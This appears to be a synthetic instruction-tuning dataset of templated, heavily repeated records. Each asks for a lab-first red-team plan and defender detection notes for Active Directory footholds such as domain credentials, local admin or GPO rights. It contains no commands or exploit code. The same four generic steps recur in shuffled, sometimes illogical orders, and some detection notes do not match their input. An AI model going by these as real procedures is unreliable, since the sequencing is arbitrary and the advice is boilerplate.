{"instruction": "Valid low-priv domain user credentials present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Valid low-priv domain user credentials present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Valid low-priv domain user credentials present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Valid low-priv domain user credentials present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Valid low-priv domain user credentials present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Valid low-priv domain user credentials present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Valid low-priv domain user credentials present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Valid low-priv domain user credentials present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Valid low-priv domain user credentials present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Valid low-priv domain user credentials present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Valid low-priv domain user credentials present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Valid low-priv domain user credentials present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Valid low-priv domain user credentials present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Valid low-priv domain user credentials present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Valid low-priv domain user credentials present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Valid low-priv domain user credentials present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 3: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 3: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 4: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 4: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 3: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 4: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 3: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 4: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Long-lived service account available for assessment: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Long-lived service account available for assessment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nStep 4: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 3: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "GPO modification rights discovered for some accounts: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "GPO modification rights discovered for some accounts", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain admin compromise confirmed for lab simulation: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Domain admin compromise confirmed for lab simulation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document removal steps and test clean-up procedures to verify defenders can restore systems.\n\nStep 3: Simulate persistence in an isolated lab and ensure the blue-team can detect the artifacts.\n\nStep 4: Catalog potential persistence mechanisms and evaluate forensic artifacts each creates.\n\nDefender detection notes:\n\n  - Changes to group policies, replication anomalies, or strange certificate issuance events.\n\nMitigations & hardening:\n\n  - Harden GPO authorizations, monitor for unauthorized changes, and enforce change control on privileged actions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
